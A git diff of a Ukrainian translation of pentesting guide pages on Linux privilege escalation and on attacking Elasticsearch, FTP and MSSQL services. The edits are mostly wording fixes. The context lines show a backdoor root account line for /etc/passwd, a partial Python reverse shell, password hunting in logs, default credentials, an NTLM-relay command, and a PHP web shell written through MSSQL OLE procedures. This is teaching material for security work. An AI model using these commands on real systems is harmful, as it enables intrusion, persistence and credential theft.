||||
```
|
||||
В деяких випадках ви можете знайти **хеші паролів** всередині файлу `/etc/passwd` (або еквівалентного).
|
||||
В деяких випадках ви можете знайти **password hashes** всередині файлу `/etc/passwd` (або еквівалентного).
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1204,7 +1204,7 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Тепер ви можете використовувати команду `su` з `hacker:hacker`
|
||||
|
||||
@ -1287,12 +1287,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Відомі файли, що містять паролі
|
||||
|
||||
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\
|
||||
**Інший цікавий інструмент**, який ви можете використовувати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), який є відкритим програмним забезпеченням, що використовується для отримання багатьох паролів, збережених на локальному комп'ютері для Windows, Linux та Mac.
|
||||
**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
|
||||
|
||||
### Логи
|
||||
|
||||
If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\
|
||||
Also, some "**погано**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1312,7 +1312,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
Вам також слід перевірити файли, що містять слово "**password**" у **назві** або всередині **вмісту**, а також перевірити IP-адреси та електронні адреси в логах, або регулярні вирази для хешів.\
|
||||
Вам також слід перевірити файли, що містять слово "**password**" у **назві** або всередині **вмісту**, а також перевірити IP-адреси та електронні адреси в логах або регулярні вирази для хешів.\
|
||||
Я не буду тут перераховувати, як це все зробити, але якщо вас це цікавить, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
|
||||
## Writable files
|
||||
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate exploitation
|
||||
|
||||
Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів.
|
||||
Уразливість у `logrotate` дозволяє користувачам з **права на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, який часто працює як **root**, може бути маніпульований для виконання довільних файлів, особливо в таких директоріях, як _**/etc/bash_completion.d/**_. Важливо перевіряти права доступу не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація журналів.
|
||||
|
||||
> [!NOTE]
|
||||
> Ця уразливість впливає на версію `logrotate` `3.18.0` та старіші
|
||||
@ -1344,9 +1344,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
Якщо з якоїсь причини користувач може **записати** скрипт `ifcf-<whatever>` у _/etc/sysconfig/network-scripts_ **або** він може **відредагувати** існуючий, то ваша **система зламано**.
|
||||
|
||||
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно як .INI файли. Однак, вони \~sourced\~ на Linux через Network Manager (dispatcher.d).
|
||||
Мережеві скрипти, наприклад, _ifcg-eth0_ використовуються для мережевих з'єднань. Вони виглядають точно як .INI файли. Однак, вони \~підключаються\~ на Linux через Network Manager (dispatcher.d).
|
||||
|
||||
У моєму випадку, атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
|
||||
У моєму випадку атрибут `NAME=` в цих мережевих скриптах не обробляється належним чином. Якщо у вас є **пробіли в імені, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**.
|
||||
|
||||
Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,11 +1356,11 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd, та rc.d**
|
||||
|
||||
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона включає скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
|
||||
Директорія `/etc/init.d` є домом для **скриптів** для System V init (SysVinit), **класичної системи управління сервісами Linux**. Вона містить скрипти для `start`, `stop`, `restart`, а іноді `reload` сервісів. Ці скрипти можуть виконуватись безпосередньо або через символічні посилання, знайдені в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat - це `/etc/rc.d/init.d`.
|
||||
|
||||
З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою **системою управління сервісами**, введеною Ubuntu, яка використовує конфігураційні файли для завдань управління сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються разом з конфігураціями Upstart через шар сумісності в Upstart.
|
||||
|
||||
**systemd** виступає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
|
||||
**systemd** виникає як сучасний менеджер ініціалізації та сервісів, пропонуючи розширені функції, такі як запуск демонів за запитом, управління автоматичним монтуванням та знімки стану системи. Він організовує файли в `/usr/lib/systemd/` для дистрибутивних пакетів та `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи процес адміністрування системи.
|
||||
|
||||
## Інші трюки
|
||||
|
||||
@ -1389,7 +1389,7 @@ cisco-vmanage.md
|
||||
|
||||
## Більше допомоги
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
[Статичні бінарники impacket](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Інструменти Privesc для Linux/Unix
|
||||
|
||||
@ -1408,14 +1408,14 @@ cisco-vmanage.md
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
|
||||
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||||
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Elasticsearch є **розподіленим**, **відкритим** пошуковим та аналітичним двигуном для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, колекції відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, зазвичай називається ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для передачі даних, які називаються Beats.
|
||||
Elasticsearch - це **розподілений**, **відкритий** пошуковий та аналітичний движок для **всіх типів даних**. Він відомий своєю **швидкістю**, **масштабованістю** та **простими REST API**. Побудований на Apache Lucene, вперше був випущений у 2010 році компанією Elasticsearch N.V. (тепер відома як Elastic). Elasticsearch є основним компонентом Elastic Stack, набору відкритих інструментів для збору, збагачення, зберігання, аналізу та візуалізації даних. Цей стек, який зазвичай називають ELK Stack, також включає Logstash та Kibana, а тепер має легкі агенти для доставки даних, звані Beats.
|
||||
|
||||
### Що таке індекс Elasticsearch?
|
||||
|
||||
Індекс Elasticsearch є колекцією **пов'язаних документів**, збережених у форматі **JSON**. Кожен документ складається з **ключів** та їх відповідних **значень** (рядки, числа, булеві значення, дати, масиви, геолокації тощо).
|
||||
Індекс Elasticsearch - це колекція **пов'язаних документів**, збережених у форматі **JSON**. Кожен документ складається з **ключів** та їх відповідних **значень** (рядки, числа, булеві значення, дати, масиви, геолокації тощо).
|
||||
|
||||
Elasticsearch використовує ефективну структуру даних, звану **інвертованим індексом**, для забезпечення швидкого повнотекстового пошуку. Цей індекс перераховує кожне унікальне слово в документах і ідентифікує документи, в яких з'являється кожне слово.
|
||||
|
||||
@ -20,15 +20,15 @@ Elasticsearch використовує ефективну структуру д
|
||||
|
||||
### Банер
|
||||
|
||||
Протокол, що використовується для доступу до Elasticsearch, є **HTTP**. Коли ви отримуєте доступ до нього через HTTP, ви знайдете деяку цікаву інформацію: `http://10.10.10.115:9200/`
|
||||
Протокол, що використовується для доступу до Elasticsearch, - це **HTTP**. Коли ви отримуєте доступ через HTTP, ви знайдете деяку цікаву інформацію: `http://10.10.10.115:9200/`
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо ви не бачите цього відповіді, отримуючи доступ до `/`, перегляньте наступний розділ.
|
||||
Якщо ви не бачите цього відповіді, отримуючи доступ до `/`, дивіться наступний розділ.
|
||||
|
||||
### Аутентифікація
|
||||
|
||||
**За замовчуванням у Elasticsearch аутентифікація не ввімкнена**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
|
||||
**За замовчуванням у Elasticsearch не ввімкнена аутентифікація**, тому за замовчуванням ви можете отримати доступ до всього всередині бази даних без використання будь-яких облікових даних.
|
||||
|
||||
Ви можете перевірити, що аутентифікація вимкнена, надіславши запит до:
|
||||
```bash
|
||||
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому все, що може BF HTTP basic auth, може бути використано).\
|
||||
Це означає, що автентифікація налаштована, і **вам потрібні дійсні облікові дані**, щоб отримати будь-яку інформацію з elasticsearch. Потім ви можете [**спробувати брутфорсити це**](../generic-hacking/brute-force.md#elasticsearch) (він використовує HTTP basic auth, тому будь-що, що може BF HTTP basic auth, може бути використано).\
|
||||
Ось у вас є **список стандартних імен користувачів**: _**elastic** (суперкористувач), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ У старіших версіях Elasticsearch є стандартний пароль **changeme** для цього користувача.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
@ -110,11 +110,11 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
|
||||
|
||||
.png>)
|
||||
|
||||
_Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі банку та поля цього індексу, які ми бачили в попередньому розділі._
|
||||
_Витратьте хвилину, щоб порівняти вміст кожного документа (запису) в індексі bank та поля цього індексу, які ми бачили в попередньому розділі._
|
||||
|
||||
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **в цьому індексі знайдено 1000 документів**, але лише 10 були повернені. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
|
||||
Отже, на цьому етапі ви можете помітити, що **існує поле під назвою "total" всередині "hits"**, яке вказує на те, що **було знайдено 1000 документів** в цьому індексі, але лише 10 були повернуті. Це тому, що **за замовчуванням існує обмеження в 10 документів**.\
|
||||
Але тепер, коли ви знаєте, що **цей індекс містить 1000 документів**, ви можете **вивантажити всі з них**, вказавши кількість записів, які ви хочете вивантажити в параметрі **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Примітка: Якщо ви вкажете більше число, всі записи все одно будуть вивантажені, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._
|
||||
\_Примітка: Якщо ви вкажете більше число, всі записи все одно будуть вивантажені, наприклад, ви могли б вказати `size=9999`, і це буде дивно, якщо буде більше записів (але вам слід перевірити)._
|
||||
|
||||
### Вивантажити все
|
||||
|
||||
@ -135,7 +135,7 @@ _Зверніть увагу, що параметр q, який використ
|
||||
|
||||
### Права на запис
|
||||
|
||||
Ви можете перевірити свої права на запис, спробувавши створити новий документ у новому індексі, запустивши щось на зразок наступного:
|
||||
Ви можете перевірити свої права на запис, спробувавши створити новий документ в новому індексі, запустивши щось на зразок наступного:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
@ -155,9 +155,9 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
||||
|
||||
.png>)
|
||||
|
||||
## Автоматична нумерація
|
||||
## Автоматична енумерація
|
||||
|
||||
Деякі інструменти отримають деякі з даних, представлених раніше:
|
||||
Деякі інструменти отримають частину даних, представлених раніше:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
```
|
||||
|
||||
@ -14,11 +14,11 @@ PORT STATE SERVICE
|
||||
```
|
||||
### З'єднання Активні та Пасивні
|
||||
|
||||
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 до FTP сервера. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
|
||||
В **Активному FTP** FTP **клієнт** спочатку **ініціює** контрольне **з'єднання** з порту N до командного порту FTP сервера – порту 21. Потім **клієнт** **прослуховує** порт **N+1** і надсилає порт N+1 на FTP сервер. FTP **сервер** потім **ініціює** з'єднання для передачі даних, з **його порту M до порту N+1** FTP клієнта.
|
||||
|
||||
Але, якщо у FTP клієнта налаштований брандмауер, який контролює вхідні з'єднання для передачі даних ззовні, тоді активний FTP може бути проблемою. І, доцільним рішенням для цього є Пасивний FTP.
|
||||
|
||||
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один зі своїх номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
|
||||
В **Пасивному FTP** клієнт ініціює контрольне з'єднання з порту N до порту 21 FTP сервера. Після цього клієнт видає **команду passv**. Сервер потім надсилає клієнту один з його номерів порту M. І **клієнт** **ініціює** з'єднання для передачі даних з **його порту P до порту M** FTP сервера.
|
||||
|
||||
Джерело: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
@ -88,8 +88,8 @@ STAT
|
||||
### Анонімний вхід
|
||||
|
||||
_anonymous : anonymous_\
|
||||
\&#xNAN;_anonymous :_\
|
||||
\&#xNAN;_ftp : ftp_
|
||||
\_anonymous :_\
|
||||
\_ftp : ftp_
|
||||
```bash
|
||||
ftp <IP>
|
||||
>anonymous
|
||||
@ -136,7 +136,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`LIST`** Це надішле список файлів у поточній папці
|
||||
- **`LIST -R`** Список рекурсивно (якщо дозволено сервером)
|
||||
- **`APPE /path/something.txt`** Це вказує FTP зберегти дані, отримані з **пасивного** з'єднання або з **PORT/EPRT** з'єднання, у файл. Якщо ім'я файлу існує, дані будуть додані.
|
||||
- **`STOR /path/something.txt`** Як `APPE`, але перезаписує файли
|
||||
- **`STOR /path/something.txt`** Як `APPE`, але він перезаписує файли
|
||||
- **`STOU /path/something.txt`** Як `APPE`, але якщо існує, нічого не робить.
|
||||
- **`RETR /path/to/file`** Має бути встановлено пасивне або портове з'єднання. Тоді FTP сервер надішле вказаний файл через це з'єднання
|
||||
- **`REST 6`** Це вказує серверу, що наступного разу, коли він надішле щось за допомогою `RETR`, він повинен почати з 6-го байта.
|
||||
@ -160,7 +160,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
3. **Використовуйте `PORT`, щоб підключитися до довільного сервера та служби**
|
||||
4. **Використовуйте `RETR`, щоб надіслати збережений запит на сервер.**
|
||||
|
||||
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані з `RETR`**. Пропозиції, щоб спробувати уникнути цього:
|
||||
Імовірно, це **викличе помилку, як** _**Socket not writable**_ **тому що з'єднання не триває достатньо довго, щоб надіслати дані за допомогою `RETR`**. Пропозиції, щоб спробувати уникнути цього:
|
||||
|
||||
- Якщо ви надсилаєте HTTP запит, **поставте той же запит один за одним** до **\~0.5MB** принаймні. Ось так:
|
||||
|
||||
@ -175,7 +175,7 @@ posts.txt
|
||||
|
||||
## Уразливість сервера Filezilla
|
||||
|
||||
**FileZilla** зазвичай **прив'язується** до **локального** **Адміністративного сервісу** для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера** для доступу до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** **нового користувача** для FTP служби.
|
||||
**FileZilla** зазвичай **прив'язується** до **локального** **адміністративного сервісу** для **FileZilla-Server** (порт 14147). Якщо ви можете створити **тунель** з **вашого комп'ютера** для доступу до цього порту, ви можете **підключитися** до **нього** за допомогою **порожнього пароля** і **створити** **нового користувача** для FTP служби.
|
||||
|
||||
## Конфігураційні файли
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
З [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** є **системою управління реляційними базами даних**, розробленою компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на одному комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).\\
|
||||
> **Microsoft SQL Server** є **системою управління реляційними базами даних**, розробленою компанією Microsoft. Як сервер бази даних, це програмний продукт з основною функцією зберігання та отримання даних за запитом інших програмних додатків, які можуть працювати як на тому ж комп'ютері, так і на іншому комп'ютері через мережу (включаючи Інтернет).
|
||||
|
||||
**Порт за замовчуванням:** 1433
|
||||
```
|
||||
@ -16,7 +16,7 @@
|
||||
|
||||
- **master Database**: Ця база даних є критично важливою, оскільки вона фіксує всі системні деталі для екземпляра SQL Server.
|
||||
- **msdb Database**: SQL Server Agent використовує цю базу даних для управління розкладом для сповіщень і завдань.
|
||||
- **model Database**: Служить як шаблон для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колація, модель відновлення та інше, відображаються в новостворених базах даних.
|
||||
- **model Database**: Використовується як шаблон для кожної нової бази даних на екземплярі SQL Server, де будь-які зміни, такі як розмір, колація, модель відновлення та інше, відображаються в новостворених базах даних.
|
||||
- **Resource Database**: База даних тільки для читання, яка містить системні об'єкти, що постачаються з SQL Server. Ці об'єкти, хоча фізично зберігаються в базі даних Resource, логічно представлені в схемі sys кожної бази даних.
|
||||
- **tempdb Database**: Використовується як тимчасова область зберігання для транзитних об'єктів або проміжних наборів результатів.
|
||||
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Якщо у вас **немає** **облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача.
|
||||
> Якщо у вас **немає облікових даних**, ви можете спробувати їх вгадати. Ви можете використовувати nmap або metasploit. Будьте обережні, ви можете **заблокувати облікові записи**, якщо кілька разів не вдасться увійти, використовуючи існуюче ім'я користувача.
|
||||
|
||||
#### Metasploit (потрібні облікові дані)
|
||||
```bash
|
||||
@ -153,16 +153,16 @@ order by name;
|
||||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
#### Отримати дозволи
|
||||
#### Отримання дозволів
|
||||
|
||||
1. **Securable:** Визначається як ресурси, які керуються SQL Server для контролю доступу. Вони класифікуються на:
|
||||
- **Сервер** – Приклади включають бази даних, логіни, кінцеві точки, групи доступності та ролі сервера.
|
||||
1. **Securable:** Визначається як ресурси, які управляються SQL Server для контролю доступу. Вони класифікуються на:
|
||||
- **Сервер** – Приклади включають бази даних, логіни, кінцеві точки, групи доступності та серверні ролі.
|
||||
- **База даних** – Приклади охоплюють роль бази даних, ролі додатків, схеми, сертифікати, каталоги повнотекстового пошуку та користувачів.
|
||||
- **Схема** – Включає таблиці, подання, процедури, функції, синоніми тощо.
|
||||
2. **Дозвіл:** Пов'язаний з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE, можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
|
||||
2. **Permission:** Ассоціюється з SQL Server securables, дозволи, такі як ALTER, CONTROL та CREATE можуть бути надані принципалу. Управління дозволами відбувається на двох рівнях:
|
||||
- **Рівень сервера** за допомогою логінів
|
||||
- **Рівень бази даних** за допомогою користувачів
|
||||
3. **Принципал:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
|
||||
3. **Principal:** Цей термін відноситься до сутності, якій надано дозвіл на securable. Принципали в основному включають логіни та користувачів бази даних. Контроль доступу до securables здійснюється шляхом надання або відмови в дозволах або шляхом включення логінів і користувачів у ролі, оснащені правами доступу.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Виконання команд ОС
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (крім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
|
||||
> Зверніть увагу, що для виконання команд необхідно не лише мати **`xp_cmdshell`** **увімкненим**, але й мати **дозвіл EXECUTE на збережену процедуру `xp_cmdshell`**. Ви можете дізнатися, хто (окрім sysadmins) може використовувати **`xp_cmdshell`** за допомогою:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -278,7 +278,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### Зловживання довіреними посиланнями MSSQL
|
||||
|
||||
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживати цією функцією:**
|
||||
[**Прочитайте цей пост**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **щоб знайти більше інформації про те, як зловживатися цією функцією:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||
@ -286,7 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### **Запис файлів**
|
||||
|
||||
Щоб записати файли за допомогою `MSSQL`, нам **необхідно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
|
||||
Щоб записати файли за допомогою `MSSQL`, нам **потрібно увімкнути** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), що вимагає адміністративних привілеїв, а потім виконати кілька збережених процедур для створення файлу:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -304,13 +304,13 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
||||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **Читати файл за допомогою** OPENROWSET
|
||||
### **Прочитати файл за допомогою** OPENROWSET
|
||||
|
||||
За замовчуванням, `MSSQL` дозволяє читати файли **з будь-якого файлу в операційній системі, до якого обліковий запис має доступ для читання**. Ми можемо використовувати наступний SQL запит:
|
||||
За замовчуванням, `MSSQL` дозволяє читати файли **на будь-якому файлі в операційній системі, до якого обліковий запис має доступ для читання**. Ми можемо використовувати наступний SQL запит:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
Однак опція **`BULK`** вимагає дозволу **`ADMINISTER BULK OPERATIONS`** або **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
Однак, опція **`BULK`** вимагає дозволу **`ADMINISTER BULK OPERATIONS`** або **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
@ -368,15 +368,15 @@ EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
